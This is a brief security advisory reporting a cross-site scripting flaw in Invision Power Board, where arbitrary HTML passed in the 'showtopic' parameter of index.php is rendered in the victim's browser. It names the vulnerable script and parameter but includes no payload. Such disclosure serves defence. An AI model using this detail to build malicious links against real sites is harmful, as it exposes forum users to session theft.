Invision Power Board is prone to a cross-site scripting vulnerability. It has been reported that a remote attacker may construct a malicious link to the index.php script and supply arbitrary HTML code as a value for the 'showtopic' URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link.
